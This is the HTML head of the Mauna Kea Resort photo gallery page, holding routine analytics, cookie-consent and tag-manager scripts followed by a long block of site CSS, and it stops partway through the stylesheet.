1 2<!DOCTYPE html> 3 4<html class="no-js" lang="en"> 5 <head profile="http://www.w3.org/2005/10/profile"> 6 <meta charset="utf-8" /> 7 <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" /> 8 <meta name="viewport" content="width=device-width, initial-scale=1"> 9 <link rel="icon" type="image/png" href="/images/favicon.png"> 10 <link rel="preload" href="/css/fontello/font/fontello.woff2?78671574" as="font" type="font/woff2" crossorigin> 11 12 <title>Photo Gallery | Mauna Kea Resort</title> 13 14<meta property="og:title" content="Photo Gallery | Mauna Kea Resort"> 15<meta property="og:type" content="website"> 16<meta property="og:url" content="https://www.maunakearesort.com/take-a-tour/" /> 17 18<link rel="canonical" href="https://www.maunakearesort.com/take-a-tour" /> 19 <meta name="description" content="From iconic beach shots to local cuisine, Mauna Kea Resort has spectacular images which will inspire your next Mauna Kea Moment." /> 20 21
21<script> 22 var _hdmlog=function(){var n="xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(n){var t=Math.random()*16|0,i=n=="x"?t:t&3|8;return i.toString(16)}),t=function(n,t,i){var r=new(this.XMLHttpRequest||ActiveXObject)("MSXML2.XMLHTTP.3.0");return r.open("POST",n,1),r.setRequestHeader("X-Requested-With","XMLHttpRequest"),r.setRequestHeader("MDRest","1"),r.setRequestHeader("Content-type","application/x-www-form-urlencoded; charset=UTF-8"),r.setRequestHeader("Response-type","json"),r.onreadystatechange=function(){r.readyState==4&&(r.status!=200?i(r):t(r))},r};return function(i,r,u,f){var e="",b=document.location.toString(),o,h,c,l,a,v,y,w;if(JSON&&JSON.stringify)e=JSON.stringify(r);else{o="";for(s in r)e=e+o+'"'+s+'":"'+r[s]+'"',o=",";e="{"+e+"}"}u=u||+new Date;h=navigator.language;navigator.languages&&(h=navigator.languages.join(","));c={time:u,name:i,guid:n,details:e,path:b,appVersion:navigator.appVersion,languages:h,platform:navigator.platform,userAgent:navigator.userAgent,vendor:navigator.vendor};l=[];for(p in c)a=encodeURIComponent(p),v=encodeURIComponent(c[p]),l.push(a+"="+v);y=l.join("&");f=f||function(){};try{w=t("/logs/",f,function(){});w.send(y)}catch(k){window.console&&console.log(k)}return u}}(),_hdmq;window.onerror=function(n,t,i,r,u){try{return window.console&&console.log&&console.log("Error: "+n+" Script: "+t+" Line: "+i+" Column: "+r+" StackTrace: "+u),!1}catch(f){}};window.$=function(){var n=[],t=function(t){n.push(t)};return t.attachReady=function(t){return t(function(){t.each(n,function(n,i){i(t)});n.length=0}),t},t}();_hdmq=function(){var n=[],t=!1,i,r;return i=function(){t=!0;for(var i=0;i<n.length;i++)n[i]();n=[]},r=function(i){t?i():n.push(i)},{loadComplete:i,add:r}}() 23 </script>
23 24
25<script> 26 var HDMdataLayer = window.HDMdataLayer || []; 27 28 29</script>
29 30 31
32<script async="async" src="https://static.srcspot.com/libs/jordana.js" type="application/javascript"></script>
32 33
34<script> 35 // Lazy load one trust script to prevent scroll in IOS 36 function loadOtScript() { 37 var s = document.createElement('script'); 38 s.src = 'https://cdn.cookielaw.org/scripttemplates/otSDKStub.js'; 39 s.defer = true; 40 s.type = 'text/javascript'; 41 s.charset = 'UTF-8'; 42 s.setAttribute('data-domain-script', 'dddbbd81-9219-49e8-934e-de51c7f0618e'); 43 var x = document.querySelector('head'); 44 x.appendChild(s); 45 } 46 47 window.addEventListener('load', function() { 48 setTimeout(function() { 49 try { 50 loadOtScript(); 51 } catch (err) { 52 console.log(err); 53 } 54 }, 1000); 55 }); 56</script>
56 57 58 59<!-- Google Tag Manager -->
60<script> 61 function OptanonWrapper() { 62 if (window.HDMdataLayer && window.dataLayer) { 63 window.dataLayer.forEach(function (item) { 64 window.HDMdataLayer.push(item); 65 }); 66 } 67 68 /* Google Tag Manager */
vendor: 498 bytes, lines 68-76
68 69 (function (w, d, s, l, i) { 70 w[l] = w[l] || []; w[l].push({ 71 'gtm.start': 72 new Date().getTime(), event: 'gtm.js' 73 }); var f = d.getElementsByTagName(s)[0], 74 j = d.createElement(s), dl = l != 'dataLayer' ? '&l=' + l : ''; j.async = true; j.src = 75 'https://www.googletagmanager.com/gtm.js?id=' + i + dl; f.parentNode.insertBefore(j, f); 76 })(window, document, 'script', 'HDMdataLayer', '
76GTM-TD566NW
vendor: 13 bytes, lines 76-77
76'); 77
77/* End Google Tag Manager */ 78 }; 79</script>
79 80<!-- End Google Tag Manager -->
81<script src="https://schemagenerator.hooray.agency/js/schema.js" defer data-key="21ad65f7-3cd0-4d42-a57b-bdf7b6791d70"></script>
81 82 83
83<script> 84 85 </script>
85 86 87 88 <link rel="stylesheet" type="text/css" href="/css/base-unmin/unmin.css"> 89 90 <style>/* Minification failed. Returning unminified contents. 91(2363,3): run-time error CSS1062: Expected semicolon or closing curly-brace, found '-' 92(2364,3): run-time error CSS1062: Expected semicolon or closing curly-brace, found '-' 93(2365,3): run-time error CSS1062: Expected semicolon or closing curly-brace, found '-' 94(2366,3): run-time error CSS1062: Expected semicolon or closing curly-brace, found '-' 95 */ 96/* Critical CSS 97**********************************/ 98/* Variables 99**********************************/ 100/* all vars, no need for @if critical */ 101/* breakpoints */ 102/* Animation - see header.scss for usage examples */ 103/* Form placeholders */ 104/* Usage: 105 106 .foo { 107 @include placeholder { 108 color: green; 109 } 110 } 111 112 @include placeholder { 113 color: red; 114 } 115*/ 116/* Flexbox 117***************************************/ 118/* Card */ 119/* Filter */ 120/* Gridder */ 121/* Variables 122**********************************/ 123/* all vars, no need for @if critical */ 124/* breakpoints */ 125/* Animation - see header.scss for usage examples */ 126/* Form placeholders */ 127/* Usage: 128 129 .foo { 130 @include placeholder { 131 color: green; 132 } 133 } 134 135 @include placeholder { 136 color: red; 137 } 138*/ 139/* Flexbox 140***************************************/ 141/* Card */ 142/* Filter */ 143/* Gridder */ 144/* http://meyerweb.com/eric/tools/css/reset/ v2.0 | 20110126 License: none (public domain) */ 145html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details, embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby, section, summary, time, mark, audio, video { 146 margin: 0; 147 padding: 0; 148 border: 0; 149 font-size: 100%; 150 font: inherit; 151 vertical-align: baseline; 152} 153 154article, aside, details, figcaption, figure, footer, header, hgroup, menu, nav, section { 155 display: block; 156} 157 158body { 159 line-height: 1; 160} 161 162ol, ul { 163 list-style: none; 164} 165 166blockquote, q { 167 quotes: none; 168} 169 170blockquote:before, blockquote:after, q:before, q:after { 171 content: ''; 172 content: none; 173} 174 175table { 176 border-collapse: collapse; 177 border-spacing: 0; 178} 179 180/* General global styles 181***********************************/ 182html { 183 font-family: "Nunito Sans", sans-serif; 184 font-size: 16px; 185} 186 187body { 188 color: #56534d; 189} 190 191@media screen and (max-width: 767px) { 192 body { 193 -webkit-text-size-adjust: 100%; 194 } 195} 196 197body.is-admin { 198 padding-top: 40px; 199} 200 201strong { 202 font-weight: bold; 203} 204 205em { 206 font-style: italic; 207} 208 209p { 210 margin: 0 0 1.6em; 211 line-height: 1.6em; 212} 213 214hr { 215 border: none; 216 height: 1px; 217 border-top: 1px solid #999; 218 margin: 2em 0; 219} 220 221sup, 222sub { 223 vertical-align: baseline; 224 position: relative; 225 top: -.1em; 226} 227 228sub { 229 top: .1em; 230} 231 232blockquote { 233 margin: 0 0 1.5em; 234 border-left: 2px solid #ccc; 235 padding-left: 1em; 236} 237 238blockquote p { 239 line-height: 1.5em; 240 margin-bottom: .5em; 241} 242 243cite { 244 font-style: italic; 245 letter-spacing: .05em; 246} 247 248/* headers */ 249h1, h2, h3, h4, h5, h6 { 250 line-height: 1.1em; 251} 252 253h1, 254.h1 { 255 font-family: "Lora", serif; 256 font-size: 2.5rem; 257 font-weight: 400; 258} 259 260@media screen and (max-width: 767px) { 261 h1, 262.h1 { 263 font-size: 2rem; 264 } 265} 266 267h1 em, 268.h1 em { 269 display: block; 270 font-family: "Kristabelle", cursive; 271 font-size: 2.5rem; 272 line-height: normal; 273 color: #ff671f; 274} 275 276@media screen and (max-width: 767px) { 277 h1 em, 278.h1 em { 279 font-size: 2rem; 280 } 281} 282 283h2, 284.h2 { 285 font-family: "Lora", serif; 286 font-size: 5rem; 287 margin-bottom: .5em; 288 font-weight: 400; 289} 290 291@media screen and (max-width: 767px) { 292 h2, 293.h2 { 294 font-size: 2.625rem; 295 } 296} 297 298h2 em, 299.h2 em { 300 display: block; 301 font-family: "Kristabelle", cursive; 302 font-size: 3.25rem; 303 color: #ff671f; 304 line-height: normal; 305} 306 307@media screen and (max-width: 767px) { 308 h2 em, 309.h2 em { 310 font-size: 2rem; 311 } 312} 313 314h2.med, 315.h2.med { 316 font-size: 2.5rem; 317} 318 319@media screen and (max-width: 767px) { 320 h2.med, 321.h2.med { 322 font-size: 1.5rem; 323 } 324} 325 326h2.med em, 327.h2.med em { 328 font-size: 3.813rem; 329} 330 331@media screen and (max-width: 767px) { 332 h2.med em, 333.h2.med em { 334 font-size: 2rem; 335 } 336} 337 338h3, 339.h3 { 340 font-family: "Lora", serif; 341 font-size: 1.875rem; 342 font-weight: 400; 343 margin-bottom: .5em; 344 line-height: 1.15em; 345 letter-spacing: .025em; 346} 347 348@media screen and (max-width: 767px) { 349 h3, 350.h3 { 351 font-size: 1.5rem; 352 } 353} 354 355h4, 356.h4 { 357 font-family: "Nunito Sans", sans-serif; 358 font-size: 1.125rem; 359 font-weight: 600; 360 text-transform: uppercase; 361 margin-bottom: .4em; 362 line-height: 1.3em; 363 letter-spacing: .05em; 364} 365 366h5, 367.h5 { 368 font-size: 1em; 369 margin-bottom: .2em; 370 font-weight: 700; 371} 372 373h6, 374.h6 { 375 font-size: 1em; 376 color: #333; 377} 378 379/* links */ 380a { 381 -webkit-transition: color 0.4s; 382 -moz-transition: color 0.4s; 383 -ms-transition: color 0.4s; 384 transition: color 0.4s; 385 text-decoration: none; 386 color: #ff671f; 387 transition: background-color .35s, color .35s; 388 /* 389 &[href^="tel:"]{ 390 font-weight: 700; 391 }*/ 392} 393 394a:hover { 395 color: #000; 396} 397 398/* Lists */ 399ul, ol { 400 line-height: 1.5em; 401 margin: 0 0 1.5em 2.2em; 402} 403 404ul { 405 list-style-type: disc; 406} 407 408ul ul { 409 list-style-type: circle; 410} 411 412ol { 413 list-style-type: decimal; 414} 415 416dl { 417 line-height: 1.5em; 418 margin: 0; 419} 420 421dl dt { 422 display: block; 423 margin: 0; 424} 425 426dl dd { 427 margin: 0 0 1.5em; 428} 429 430/* page layout */ 431main { 432 display: block; 433} 434 435.main-content { 436 position: relative; 437 z-index: 2; 438 max-width: 2560px; 439 margin: 0 auto; 440 min-height: 300px; 441} 442 443/* 444 Slick Slider overrides - check the 445 buttons sass file for prev/next buttons 446********************************************/ 447.slick-list, 448.slick-track { 449 height: 100%; 450} 451 452/* Datepicker overrides */ 453#ui-datepicker-div .ui-state-highlight, 454#ui-datepicker-div .ui-widget-content .ui-state-highlight, 455#ui-datepicker-div .ui-widget-header .ui-state-highlight { 456 background: #ccc; 457 color: #fff; 458} 459 460#ui-datepicker-div .ui-state-active, 461#ui-datepicker-div .ui-widget-content .ui-state-active, 462#ui-datepicker-div .ui-widget-header .ui-state-active { 463 background: #ff671f; 464 color: #fff; 465 border-color: #ff671f; 466} 467 468#ui-datepicker-div.ui-datepicker { 469 z-index: 999999999999999999999 !important; 470} 471 472.embedded-messaging > .embeddedMessagingFrame[class~="isMinimized"], 473.embeddedMessagingConversationButtonWrapper .embeddedMessagingConversationButton { 474 bottom: 7rem !important; 475 right: 1rem !important; 476} 477 478.embedded-messaging > .embeddedMessagingFrame[class~="isMaximized"] { 479 z-index: 9999999990; 480} 481 482#ae_launcher.ae-cta-position-preset-right-lower { 483 bottom: 190px !important; 484} 485 486@media screen and (max-width: 767px) { 487 #ae_launcher.ae-cta-position-preset-right-lower { 488 bottom: 24px !important; 489 } 490} 491 492/* Variables 493**********************************/ 494/* all vars, no need for @if critical */ 495/* breakpoints */ 496/* Animation - see header.scss for usage examples */ 497/* Form placeholders */ 498/* Usage: 499 500 .foo { 501 @include placeholder { 502 color: green; 503 } 504 } 505 506 @include placeholder { 507 color: red; 508 } 509*/ 510/* Flexbox 511***************************************/ 512/* Card */ 513/* Filter */
514/* Gridder */ 515/* 516 Print style sheet: print.css 517*/ 518/* Variables 519**********************************/ 520/* all vars, no need for @if critical */ 521/* breakpoints */ 522/* Animation - see header.scss for usage examples */ 523/* Form placeholders */ 524/* Usage: 525 526 .foo { 527 @include placeholder { 528 color: green; 529 } 530 } 531 532 @include placeholder { 533 color: red; 534 } 535*/ 536/* Flexbox 537***************************************/ 538/* Card */ 539/* Filter */ 540/* Gridder */ 541.preload-image { 542 background: #fff url(/images/loading.gif) no-repeat center center !important; 543 background-size: initial !important; 544} 545 546.has-loader::before { 547 content: ''; 548 pointer-events: none; 549 position: absolute; 550 top: 50%; 551 left: 50%; 552 width: 30px; 553 height: 30px; 554 background-image: url(/images/layout/loader.png); 555 background-position: center; 556 background-size: contain; 557 background-repeat: no-repeat; 558 transform: translate(-50%, -50%); 559 animation: loader 4s infinite linear; 560} 561 562@keyframes loader { 563 0% { 564 transform: rotate(0); 565 } 566 100% { 567 transform: rotate(360deg); 568 } 569} 570 571/* Object fit images */ 572.object-fit { 573 display: block; 574 object-fit: cover; 575 object-position: 50% 50%; 576 width: 100%; 577 height: 100%; 578} 579 580.object-fit-top { 581 object-position: 50% 20%; 582} 583 584.object-fit-bottom { 585 object-position: 50% 80%; 586} 587 588@media screen and (max-width: 767px) { 589 .object-fit-bottom { 590 object-position: 50% 90%; 591 } 592} 593 594.object-fit-right { 595 object-position: 80% 50%; 596} 597 598@media screen and (max-width: 767px) { 599 .object-fit-right { 600 object-position: 90% 50%; 601 } 602} 603 604.object-fit-left { 605 object-position: 20% 50%; 606} 607 608.object-fit-contain { 609 object-fit: contain; 610} 611 612.object-fit-right-top { 613 object-position: 80% 20%; 614} 615 616@media screen and (max-width: 767px) { 617 .object-fit-right-top { 618 object-position: 90% 10%; 619 } 620} 621 622.object-fit-left-top { 623 object-position: 20% 20%; 624} 625 626@media screen and (max-width: 767px) { 627 .object-fit-left-top { 628 object-position: 10% 10%; 629 } 630} 631 632/* clearfix */ 633.cf:after { 634 content: ''; 635 display: table; 636 clear: both; 637} 638 639@supports (display: flow-root) { 640 .cf { 641 display: flow-root; 642 } 643 .cf:after { 644 content: none; 645 } 646} 647 648.clear-left { 649 clear: left; 650} 651 652.main-pad { 653 padding: 3em 0; 654} 655 656.nobr { 657 white-space: nowrap; 658} 659 660.align-center { 661 text-align: center; 662} 663 664.align-right { 665 text-align: right; 666} 667 668.normal { 669 text-transform: none; 670} 671 672.brand-color { 673 color: #ff671f; 674} 675 676.westin-color { 677 color: #529d6e; 678} 679 680@media screen and (max-width: 767px) { 681 .mobile-break { 682 display: block; 683 } 684} 685 686/* image replacement */ 687.ir { 688 text-indent: 200%; 689 white-space: nowrap; 690 overflow: hidden; 691} 692 693.break-word { 694 overflow-wrap: break-word; 695 word-wrap: break-word; 696 /* 697 -ms-word-break: break-all; 698 -moz-word-break: break-all; 699 word-break: break-all; 700 */ 701 /* non standard for webkit */ 702 word-break: break-word; 703 -webkit-hyphens: auto; 704 -moz-hyphens: auto; 705 -ms-hyphens: auto; 706 hyphens: auto; 707} 708 709/* headers */ 710.pre-hdr { 711 color: #ff671f; 712 font-size: .75rem; 713 font-weight: 600; 714 letter-spacing: .05em; 715 text-transform: uppercase; 716 line-height: 1.4em; 717 margin-bottom: .75em; 718} 719 720/* 721.hyphens { 722 @include hyphens(); 723} 724*/ 725.intro { 726 margin-bottom: 3em; 727 padding-top: 1em; 728} 729 730@media screen and (max-width: 767px) { 731 .intro { 732 margin-bottom: 0; 733 padding-top: 0; 734 } 735} 736 737.intro .hgroup { 738 box-sizing: border-box; 739 position: relative; 740 z-index: 2; 741 float: left; 742 width: 50%; 743 margin-bottom: 2em; 744 padding-right: 1em; 745} 746 747@media screen and (max-width: 767px) { 748 .intro .hgroup { 749 float: none; 750 width: auto; 751 margin-bottom: 1em; 752 padding-right: 0; 753 } 754} 755 756.intro h1 em { 757 display: inline; 758} 759 760.intro .cta { 761 text-transform: uppercase; 762 font-size: .75rem; 763 margin-top: 4.5em; 764} 765 766@media screen and (max-width: 767px) { 767 .intro .cta { 768 margin-top: 1.5em; 769 } 770} 771 772.intro .cta a { 773 color: currentColor; 774} 775 776.intro .cta a:hover { 777 color: #ff671f; 778} 779 780.intro .cta::after { 781 content: ' \2192'; 782 font-size: 2em; 783 color: #ff671f; 784} 785 786.intro.stacked .hgroup { 787 float: none; 788 width: auto; 789 padding-right: 0; 790} 791 792.has-caption::after { 793 background: linear-gradient(to top, rgba(0, 0, 0, 0.95) 0%, rgba(0, 0, 0, 0) 100%); 794 bottom: 0; 795 content: ''; 796 height: 50%; 797 left: 0; 798 position: absolute; 799 width: 100%; 800 /*z-index: 2;*/ 801 pointer-events: none; 802} 803 804.has-caption.lighter::after { 805 background: linear-gradient(to top, rgba(0, 0, 0, 0.7) 0%, rgba(0, 0, 0, 0) 100%); 806 height: 40%; 807} 808 809.has-caption.has-caption-top::after { 810 background: linear-gradient(rgba(0, 0, 0, 0.4) 0%, rgba(0, 0, 0, 0) 100%); 811 bottom: auto; 812 top: 0; 813 height: 90%; 814} 815 816/* caption gradient bg */ 817.caption-grad { 818 position: relative; 819} 820 821.caption-grad::after { 822 content: ''; 823 pointer-events: none; 824 background: linear-gradient(to top, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0) 100%); 825 bottom: 0; 826 height: 110px; 827 left: 0; 828 position: absolute; 829 width: 100%; 830 /*z-index: 2;*/ 831} 832 833.has-arrow::after { 834 content: ' \2192'; 835 font-size: 2em; 836} 837 838.disclaimer { 839 font-size: .85em; 840 font-style: italic; 841} 842 843.inline-left { 844 display: block; 845 float: left; 846 margin: 0 30px 20px 0; 847} 848 849.inline-left img { 850 max-width: 100%; 851 height: auto; 852} 853 854@media screen and (max-width: 767px) { 855 .inline-left { 856 float: none; 857 margin: 0 auto 12px; 858 } 859} 860 861img.inline-left { 862 max-width: 100%; 863 height: auto; 864} 865 866.inline-right { 867 display: block; 868 float: right; 869 margin: 0 0 20px 30px; 870} 871 872.inline-right img { 873 max-width: 100%; 874 height: auto; 875} 876 877@media screen and (max-width: 767px) { 878 .inline-right { 879 float: none; 880 margin: 0 auto 12px; 881 } 882} 883 884img.inline-right { 885 max-width: 100%; 886 height: auto; 887} 888 889.ada-hidden { 890 position: absolute; 891 left: -10000px; 892 top: auto; 893 width: 1px; 894 height: 1px; 895 overflow: hidden; 896} 897 898.sr-only { 899 position: absolute; 900 width: 1px; 901 height: 1px; 902 padding: 0; 903 margin: -1px; 904 overflow: hidden; 905 clip: rect(0, 0, 0, 0); 906 border: 0; 907} 908 909/* vertically center */ 910.vcenter { 911 -webkit-transform: translateY(-50%); 912 -moz-transform: translateY(-50%); 913 -ms-transform: translateY(-50%); 914 transform: translateY(-50%); 915 position: relative; 916 top: 50%; 917} 918 919/* vertically & horizontally center */ 920.vhcenter { 921 -webkit-transform: translate(-50%, -50%); 922 -moz-transform: translate(-50%, -50%); 923 -ms-transform: translate(-50%, -50%); 924 transform: translate(-50%, -50%); 925 position: absolute; 926 top: 50%; 927 left: 50%; 928 z-index: 2; 929} 930 931.inner { 932 width: 90%; 933 max-width: 1000px; 934 margin: 0 auto; 935} 936 937.center { 938 text-align: center; 939 margin-left: auto; 940 margin-right: auto; 941} 942 943.centered-list { 944 text-align: center; 945} 946
947/* Lists */ 948.unstyled-list { 949 list-style-type: none; 950 margin: 0; 951} 952 953.inside-list { 954 list-style-position: inside; 955} 956 957.bg-cover { 958 background-position: center; 959 background-repeat: no-repeat; 960 background-size: cover; 961} 962 963.bg-cover.top { 964 background-position: center top; 965} 966 967.bg-cover.right { 968 background-position: right center; 969} 970 971.bg-cover.bottom { 972 background-position: center bottom; 973} 974 975.bg-cover.left { 976 background-position: left center; 977} 978 979.bg-cover.left-top { 980 background-position: left top; 981} 982 983.bg-cover.left-bottom { 984 background-position: left bottom; 985} 986 987.bg-cover.right-top { 988 background-position: right top; 989} 990 991.bg-cover.right-bottom { 992 background-position: right bottom; 993} 994 995/* Cover items 996***************************************/ 997/* 998.cover-image { 999 //@include transition(all .5s); 1000 //@extend .bg-cover; 1001 position: absolute; 1002 width: 100%; 1003 height: 100%; 1004 top: 0; 1005 left: 0; 1006 margin: 0 auto; 1007 box-sizing: border-box; 1008 pointer-events: none; 1009 1010 &.top { background-position: center top; } 1011 &.bottom { background-position: center bottom; } 1012 1013} 1014*/ 1015.cover-link { 1016 position: absolute; 1017 top: 0; 1018 left: 0; 1019 z-index: 11; 1020 width: 100%; 1021 height: 100%; 1022 text-indent: -9999px; 1023 overflow: hidden; 1024} 1025 1026.cover-link a { 1027 display: block; 1028 width: 100%; 1029 height: 100%; 1030} 1031 1032/* Lazy loaded images */ 1033.lazy-fade-in { 1034 animation-name: fadeIn; 1035 animation-duration: 1.3s; 1036 animation-timing-function: cubic-bezier(0, 0, 0.4, 1); 1037 animation-fill-mode: forwards; 1038} 1039 1040@keyframes fadeIn { 1041 from { 1042 opacity: 0; 1043 } 1044 to { 1045 opacity: 1; 1046 } 1047} 1048 1049/* Columns 1050*************************************/ 1051.two-col { 1052 -webkit-column-count: 2; 1053 -moz-column-count: 2; 1054 column-count: 2; 1055 -webkit-column-gap: 40px; 1056 -moz-column-gap: 40px; 1057 column-gap: 40px; 1058 margin-bottom: 1.4em; 1059} 1060 1061.two-col .col, 1062.two-col li { 1063 -webkit-column-break-inside: avoid; 1064 page-break-inside: avoid; 1065 break-inside: avoid; 1066} 1067 1068@media screen and (max-width: 480px) { 1069 .two-col { 1070 -webkit-column-count: auto; 1071 -moz-column-count: auto; 1072 column-count: auto; 1073 -webkit-column-gap: normal; 1074 -moz-column-gap: normal; 1075 column-gap: normal; 1076 margin-bottom: 0; 1077 } 1078} 1079 1080/* 1081.three-col { 1082 @include columns(3, 20px); 1083 1084 @media screen and (max-width: 767px){ 1085 @include columns(auto, normal); 1086 } 1087 1088 .col, 1089 li { 1090 -webkit-column-break-inside: avoid; 1091 page-break-inside: avoid; 1092 break-inside: avoid; 1093 } 1094 1095} 1096 1097.four-col { 1098 @include columns(4, 40px); 1099 margin-bottom: 1.4em; 1100 1101 .col, 1102 li { 1103 -webkit-column-break-inside: avoid; 1104 page-break-inside: avoid; 1105 break-inside: avoid; 1106 } 1107 1108 @media screen and (max-width: 480px){ 1109 @include columns(auto, normal); 1110 margin-bottom: 0; 1111 } 1112 1113} 1114*/ 1115@-webkit-keyframes fade-in { 1116 from { 1117 opacity: 0; 1118 } 1119 to { 1120 opacity: 1; 1121 } 1122} 1123 1124@-moz-keyframes fade-in { 1125 from { 1126 opacity: 0; 1127 } 1128 to { 1129 opacity: 1; 1130 } 1131} 1132 1133@-ms-keyframes fade-in { 1134 from { 1135 opacity: 0; 1136 } 1137 to { 1138 opacity: 1; 1139 } 1140} 1141 1142@-o-keyframes fade-in { 1143 from { 1144 opacity: 0; 1145 } 1146 to { 1147 opacity: 1; 1148 } 1149} 1150 1151@keyframes fade-in { 1152 from { 1153 opacity: 0; 1154 } 1155 to { 1156 opacity: 1; 1157 } 1158} 1159 1160/* 1161.icon { 1162 vertical-align: middle; 1163}*/ 1164/* responsive images */ 1165.resp-img { 1166 max-width: 100%; 1167 height: auto; 1168} 1169 1170/* standard table */ 1171.tbl-std { 1172 border-collapse: collapse; 1173 width: 100%; 1174 margin: 0 auto 1.4em; 1175} 1176 1177.tbl-std thead { 1178 background-color: #333; 1179 color: #fff; 1180 font-weight: 700; 1181} 1182 1183.tbl-std th, 1184.tbl-std td { 1185 padding: 1em; 1186 line-height: 1.4em; 1187} 1188 1189@media screen and (max-width: 480px) { 1190 .tbl-std th, 1191.tbl-std td { 1192 display: block; 1193 padding: 4px 12px; 1194 line-height: normal; 1195 } 1196} 1197 1198.tbl-std th { 1199 text-align: left; 1200 vertical-align: middle; 1201} 1202 1203@media screen and (max-width: 768px) { 1204 .tbl-std th span { 1205 display: block; 1206 } 1207} 1208 1209.tbl-std td { 1210 vertical-align: top; 1211} 1212 1213.tbl-std td[scope="row"] { 1214 font-family: "Lora", serif; 1215 font-weight: 700; 1216 text-transform: uppercase; 1217} 1218 1219.tbl-std tbody tr { 1220 background-color: #e3e3e3; 1221 border-bottom: 1px solid #fff; 1222} 1223 1224.tbl-std tbody tr:nth-child(even) { 1225 background-color: #d2d2d2; 1226} 1227 1228.tbl-std-collapsed { 1229 width: auto; 1230 margin: 0 0 1.4em; 1231} 1232 1233/* flex list */ 1234/* 1235.flex-list { 1236 @include flexbox; 1237 @include flex-wrap(wrap); 1238 list-style-type: none; 1239 text-align: center; 1240 margin-left: 0; 1241 1242 &.pipes { 1243 > li { 1244 & + li { 1245 border-left: 1px solid $brand-color; 1246 1247 @media screen and (max-width: 768px){ 1248 border-left: none; 1249 } 1250 1251 @media screen and (max-width: 767px){ 1252 border-top: 1px solid $brand-color; 1253 //margin-top: 20px; 1254 padding-top: 20px; 1255 } 1256 } 1257 1258 &:nth-child(2n + 2){ 1259 @media screen and (max-width: 768px){ 1260 border-left: 1px solid $brand-color; 1261 } 1262 1263 @media screen and (max-width: 767px){ 1264 border-left: none; 1265 } 1266 } 1267 1268 } 1269 1270 } 1271 1272 > li {
1273 //@include flex(1 0 calc(25% - 10px)); 1274 @include flex(1 0 25%); 1275 box-sizing: border-box; 1276 1277 @media screen and (max-width: 768px){ 1278 @include flex(1 0 50%); 1279 margin-bottom: 30px; 1280 } 1281 1282 @media screen and (max-width: 767px){ 1283 @include flex(1 0 100%); 1284 } 1285 1286 } 1287 1288 .lm { 1289 font-size: 12px; 1290 padding: .8em 1.6em .8em 1.8em; 1291 } 1292 1293} 1294*/ 1295/* Flex cards */ 1296/* 1297.flex-card-set { 1298 @include flexbox; 1299 @include flex-wrap(wrap); 1300 max-width: 940px; 1301 margin: 0 auto; 1302} 1303 1304.flex-card { 1305 @include flexbox; 1306 box-sizing: border-box; 1307 margin-bottom: 2em; 1308 padding: 0 1em; 1309 width: 33.3333333333%; 1310 1311 @media screen and (max-width: 768px){ 1312 width: 50%; 1313 padding: 0 0 1em; 1314 max-width: 640px; 1315 margin: 0 auto; 1316 } 1317 1318 @media screen and (max-width: 767px){ 1319 width: 100%; 1320 } 1321} 1322 1323.flex-card-img { 1324 position: relative; 1325 overflow: hidden; 1326 width: 100%; 1327 height: 236px; 1328 margin: 0 auto 2em; 1329} 1330 1331.flex-card-content { 1332 @include flexbox; 1333 @include flex-direction(column); 1334 box-sizing: border-box; 1335 width: 100%; 1336 max-width: 314px; 1337 margin: 0 auto; 1338 padding: 0 0 2em; 1339 position: relative; 1340 1341 .unstyled-list { margin-bottom: 1.8em; } 1342 1343} 1344 1345.flex-card-inner { 1346 @include flex(1 0 auto); 1347 padding: 0 2em; 1348} 1349*/ 1350.flex { 1351 display: -webkit-box; 1352 display: -webkit-flex; 1353 display: -moz-flex; 1354 display: -ms-flexbox; 1355 display: flex; 1356} 1357 1358/* 1359// Flex list 1360.flex-list { 1361 @include flexbox; 1362 @include flex-wrap(wrap); 1363 1364 > li { 1365 @include flexbox; 1366 box-sizing: border-box; 1367 padding: 0.5em; 1368 width: 50%; 1369 1370 @media screen and (max-width: 767px){ 1371 padding: 0; 1372 width: 100%; 1373 } 1374 } 1375 1376} 1377 1378.flex-list-content { 1379 @include flexbox; 1380 @include flex-direction(column); 1381 background-color: #fff; 1382 padding: 1em; 1383 width: 100%; 1384 1385 .filler { 1386 @include flex(1 0 auto); 1387 } 1388} 1389*/ 1390/* Flex cols */ 1391.flex-cols { 1392 display: flex; 1393 flex-wrap: wrap; 1394 width: 100%; 1395 margin-bottom: 3em; 1396} 1397 1398@media screen and (max-width: 767px) { 1399 .flex-cols { 1400 margin-bottom: 2em; 1401 } 1402} 1403 1404.flex-cols .col-1-2 { 1405 width: 50%; 1406} 1407 1408@media screen and (max-width: 767px) { 1409 .flex-cols .col-1-2 { 1410 width: 100%; 1411 } 1412} 1413 1414.flex-cols .col-1-3 { 1415 width: 33.3333333333%; 1416} 1417 1418@media screen and (max-width: 767px) { 1419 .flex-cols .col-1-3 { 1420 width: 100%; 1421 } 1422} 1423 1424.flex-cols .col-2-3 { 1425 width: 66.6666666667%; 1426} 1427 1428@media screen and (max-width: 767px) { 1429 .flex-cols .col-2-3 { 1430 width: 100%; 1431 } 1432} 1433 1434.flex-cols .col-1-4 { 1435 width: 25%; 1436} 1437 1438@media screen and (max-width: 767px) { 1439 .flex-cols .col-1-4 { 1440 width: 100%; 1441 } 1442} 1443 1444.flex-cols .col-3-4 { 1445 width: 75%; 1446} 1447 1448@media screen and (max-width: 767px) { 1449 .flex-cols .col-3-4 { 1450 width: 100%; 1451 } 1452} 1453 1454.flex-cols .col-1-5 { 1455 width: 20%; 1456} 1457 1458@media screen and (max-width: 767px) { 1459 .flex-cols .col-1-5 { 1460 width: 100%; 1461 } 1462} 1463 1464.flex-cols .col-2-5 { 1465 width: 40%; 1466} 1467 1468@media screen and (max-width: 767px) { 1469 .flex-cols .col-2-5 { 1470 width: 100%; 1471 } 1472} 1473 1474.flex-cols .col-3-5 { 1475 width: 60%; 1476} 1477 1478@media screen and (max-width: 767px) { 1479 .flex-cols .col-3-5 { 1480 width: 100%; 1481 } 1482} 1483 1484.flex-cols .col-4-5 { 1485 width: 80%; 